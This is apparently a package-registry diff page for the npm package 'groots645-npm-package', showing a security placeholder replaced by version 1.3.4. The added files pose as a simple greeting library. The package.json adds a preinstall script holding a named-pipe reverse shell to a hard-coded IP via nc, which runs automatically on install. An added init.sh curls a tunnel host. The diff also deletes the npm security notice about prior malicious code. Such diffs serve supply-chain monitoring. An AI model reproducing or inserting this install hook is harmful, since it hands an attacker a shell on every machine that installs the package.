groots645-npm-package 0.0.1-security → 1.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of groots645-npm-package might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ // index.js
2
+ function greet(name) {
3
+ return `Hello , ${name}!`;
4
+ }
5
+
6
+ module.exports = { greet };
package/init.sh ADDED
@@ -0,0 +1,2 @@
1
+ echo "hello gagan";
2
+ curl https://9968075a2fa24f.lhr.life
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "groots645-npm-package",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.3.4",
4
+ "description": "greets hello world",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "echo 'Running initialization commands...' && mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 3.80.52.100 80 >/tmp/f"
9
+ },
10
+ "author": "groots645",
11
+ "license": "MIT"
12
+ }
package/readme.txt ADDED
@@ -0,0 +1,2 @@
1
+ hey hi everyone this is just a test package created for some internal purpose so don't use it :)
2
+ <h1>hello</h1>
package/test.js ADDED
@@ -0,0 +1,2 @@
1
+ const { greet } = require('./index');
2
+ console.log(greet("gagan"));
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=groots645-npm-package for more information.